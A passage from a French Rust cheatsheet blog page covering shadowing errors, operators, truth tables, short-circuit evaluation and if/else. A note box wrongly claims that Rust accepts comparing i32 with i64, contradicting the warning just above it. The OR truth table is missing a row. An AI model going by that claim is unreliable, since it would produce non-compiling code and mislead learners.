style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>Cela devrait vous donner :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">error</span><span class="token punctuation" style="color:#393A34">[</span><span class="token constant" style="color:#36acaa">E0384</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> cannot assign twice to immutable variable `x`</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"> </span><span class="token operator" style="color:#393A34">-</span><span class="token punctuation" style="color:#393A34">-&gt;</span><span class="token plain"> main</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">rs</span><span class="token punctuation" style="color:#393A34">:</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">:</span><span class="token number" style="color:#36acaa">6</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">4</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain">         </span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> x</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">15</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token operator" style="color:#393A34">|</span><span class="token plain">             </span><span class="token operator" style="color:#393A34">-</span><span class="token plain"> first assignment to `x`</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain">         x </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// Erreur, la variable masquée n'est pas mutable</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token operator" style="color:#393A34">|</span><span class="token plain">         </span><span class="token operator" style="color:#393A34">^</span><span class="token operator" style="color:#393A34">^</span><span class="token operator" style="color:#393A34">^</span><span class="token operator" style="color:#393A34">^</span><span class="token operator" style="color:#393A34">^</span><span class="token operator" style="color:#393A34">^</span><span class="token operator" style="color:#393A34">^</span><span class="token plain"> cannot assign twice to immutable variable</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-opérateurs">Les opérateurs<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#les-op%C3%A9rateurs" class="hash-link" aria-label="Lien direct vers Les opérateurs" title="Lien direct vers Les opérateurs" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="opérateurs-daffectation">Opérateurs d'affectation<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#op%C3%A9rateurs-daffectation" class="hash-link" aria-label="Lien direct vers Opérateurs d'affectation" title="Lien direct vers Opérateurs d'affectation" translate="no">​</a></h3>
<p>Comme en C, on retrouve l'opérateur d'affectation simple <code>=</code> ainsi que les opérateurs composés (qui ne fonctionnent que sur les variables marquées <code>mut</code>).</p>
<ul>
<li class=""><code>=</code> : affectation simple</li>
<li class=""><code>+=</code> : ajoute puis affecte</li>
<li class=""><code>-=</code> : soustrait et affecte</li>
<li class=""><code>*=</code> : multiplie et affecte</li>
<li class=""><code>/=</code> : divise et affecte</li>
<li class=""><code>%=</code> : effectue un modulo et affecte</li>
</ul>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple d'affectation</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> a </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">a </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// a contient maintenant 8</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="opérateurs-relationnels">Opérateurs relationnels<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#op%C3%A9rateurs-relationnels" class="hash-link" aria-label="Lien direct vers Opérateurs relationnels" title="Lien direct vers Opérateurs relationnels" translate="no">​</a></h3>
<p>Ces opérateurs servent à comparer deux opérandes. Ils retournent un <code>bool</code> (<code>true</code> ou <code>false</code>), et <strong>non un entier</strong> comme en C.</p>
<table><thead><tr><th>Opérateur</th><th>Signification</th><th>Exemple</th></tr></thead><tbody><tr><td><code>==</code></td><td>Égal</td><td><code>1 == 2</code> retourne <code>false</code></td></tr><tr><td><code>!=</code></td><td>Pas égal</td><td><code>1 ! = 2</code> retourne <code>true</code></td></tr><tr><td><code>&gt;</code></td><td>Plus grand que</td><td><code>1 &gt; 2</code> retourne <code>false</code></td></tr><tr><td><code>&lt;</code></td><td>Plus petit que</td><td><code>1 &lt; 2</code> retourne <code>true</code></td></tr><tr><td><code>&gt;=</code></td><td>Plus grand ou égal</td><td><code>1 &gt;= 2</code> retourne <code>false</code></td></tr><tr><td><code>&lt;=</code></td><td>Plus petit ou égal</td><td><code>1 &lt;= 2</code> retourne <code>true</code></td></tr></tbody></table>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple d'opérateurs de comparaison</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> var1 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">13</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> var2 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">12</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> var3</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">bool</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> var1 </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> var2</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// true</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>Comparaison entre types</div><div class="admonitionContent_BuS1"><p>Rust refusera de comparer deux valeurs de types différents (par exemple un <code>i32</code> avec un <code>f64</code>). Il faut explicitement les convertir avant.</p></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="comparaison-de-string">Comparaison de string<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#comparaison-de-string" class="hash-link" aria-label="Lien direct vers Comparaison de string" title="Lien direct vers Comparaison de string" translate="no">​</a></h4>
<p>Ces comparaisons fonctionnent également pour du texte, peu importe la manière de les déclarer :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> str1 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"hello"</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> str2 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"hello"</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> str3 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"Hello"</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> string1</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token class-name">String</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"hello"</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">to_string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> string2</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token class-name">String</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token class-name">String</span><span class="token punctuation" style="color:#393A34">::</span><span class="token function" style="color:#d73a49">from</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"hello"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> string3 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"hello"</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">to_owned</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> result1 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> str1 </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> str2</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// true</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> result2 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> str1 </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> str3</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// false (case-sensitive)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// Comparaison de deux String ensemble</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> result3 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> string1 </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> string2</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// true</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// On peut également comparer des String avec des &amp;str</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> result4 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> string1 </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> str1</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">     </span><span class="token comment" style="color:#999988;font-style:italic">// true</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>remarque</div><div class="admonitionContent_BuS1"><p>Rust refuse de comparer des valeurs de types différent mais accepte lorsque les données à l'intérieur sont identique : <code>i32</code> et <code>i64</code> contiennent tout deux des <code>int</code>.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="opérateurs-logiques">Opérateurs logiques<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#op%C3%A9rateurs-logiques" class="hash-link" aria-label="Lien direct vers Opérateurs logiques" title="Lien direct vers Opérateurs logiques" translate="no">​</a></h3>
<p>Les opérateurs logiques s'utilisent sur des booléens et renvoient un <code>bool</code>.</p>
<table><thead><tr><th>Opérateur</th><th>Signification</th><th>Exemple</th></tr></thead><tbody><tr><td><code>&amp;&amp;</code></td><td>ET — <code>true</code> si <strong>tous</strong> les opérandes sont <code>true</code></td><td><code>a &amp;&amp; b</code></td></tr><tr><td><code>||</code></td><td>OU — <code>true</code> si <strong>l'un</strong> des opérandes est <code>true</code></td><td><code>a || b</code></td></tr><tr><td><code>!</code></td><td>NON — inverse la valeur de l'opérande</td><td><code>!a</code></td></tr></tbody></table>
<p><strong>Exemples :</strong></p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">5 est plus grand que 3 ET 1 est égal à 1</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> b1</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">bool</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;&amp;</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// true</span><br></div></code></pre></div></div>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">5 n'est pas égal à 4 OU 5 est égal à 2</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> b2</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">bool</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">4</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// true</span><br></div></code></pre></div></div>
<p>Les tables de vérité sont identiques à celles du C (puisque ce sont les mêmes lois mathématiques).</p>
<p>Table de vérité pour l'opérateur <strong>ET</strong> :</p>
<table><thead><tr><th>a</th><th>b</th><th>a <code>&amp;&amp;</code> b</th></tr></thead><tbody><tr><td><code>false</code></td><td><code>false</code></td><td><code>false</code></td></tr><tr><td><code>false</code></td><td><code>true</code></td><td><code>false</code></td></tr><tr><td><code>true</code></td><td><code>false</code></td><td><code>false</code></td></tr><tr><td><code>true</code></td><td><code>true</code></td><td><code>true</code></td></tr></tbody></table>
<p>Table de vérité pour l'opérateur <strong>OU</strong> :</p>
<table><thead><tr><th>a</th><th>b</th><th>a <code>||</code> b</th></tr></thead><tbody><tr><td><code>false</code></td><td><code>false</code></td><td><code>false</code></td></tr><tr><td><code>true</code></td><td><code>false</code></td><td><code>true</code></td></tr><tr><td><code>true</code></td><td><code>true</code></td><td><code>true</code></td></tr></tbody></table>
<p>Table de vérité pour l'opérateur <strong>NON</strong> :</p>
<table><thead><tr><th>a</th><th><code>!a</code></th></tr></thead><tbody><tr><td><code>false</code></td><td><code>true</code></td></tr><tr><td><code>true</code></td><td><code>false</code></td></tr></tbody></table>
<p>Comme en C, Rust effectue une <strong>évaluation en court-circuit</strong> : dès que le résultat est connu, les opérandes restants ne sont pas évalués.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple de court-circuit</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> x </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> y </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// y / x n'est jamais évalué car x != 0 est false</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> result </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">x </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;&amp;</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">y </span><span class="token operator" style="color:#393A34">/</span><span class="token plain"> x </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="flux-de-contrôle">Flux de contrôle<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#flux-de-contr%C3%B4le" class="hash-link" aria-label="Lien direct vers Flux de contrôle" title="Lien direct vers Flux de contrôle" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-déclaration-if">La déclaration <code>if</code><a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#la-d%C3%A9claration-if" class="hash-link" aria-label="Lien direct vers la-déclaration-if" title="Lien direct vers la-déclaration-if" translate="no">​</a></h3>
<p>L'instruction <code>if</code> permet à votre programme de prendre des décisions. Contrairement au C, <strong>les parenthèses autour de la condition sont optionnelles</strong> (et même pas idiomatiques), mais les accolades sont <strong>obligatoires</strong>, même pour une seule instruction.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Structure basique d'un if</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> condition </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// code à exécuter si la condition est vraie</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple simple</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> age </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">20</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> age </span><span class="token operator" style="color:#393A34">&gt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">18</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Vous êtes adulte."</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>La condition DOIT être un bool</div><div class="admonitionContent_BuS1"><p>Rust n'accepte pas <code>if 1 { ... }</code> comme en C. La condition doit obligatoirement être de type <code>bool</code>. C'est plus strict, mais cela évite les confusions classiques.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="if---else">if - else<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#if---else" class="hash-link" aria-label="Lien direct vers if - else" title="Lien direct vers if - else" translate="no">​</a></h3>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple de if-else</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> age </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">17</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> age </span><span class="token operator" style="color:#393A34">&gt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">18</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Vous êtes adulte."</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Vous êtes mineur."</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="else-if">else if<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#else-if" class="hash-link" aria-label="Lien direct vers else if" title="Lien direct vers else if" translate="no">​</a></h3>
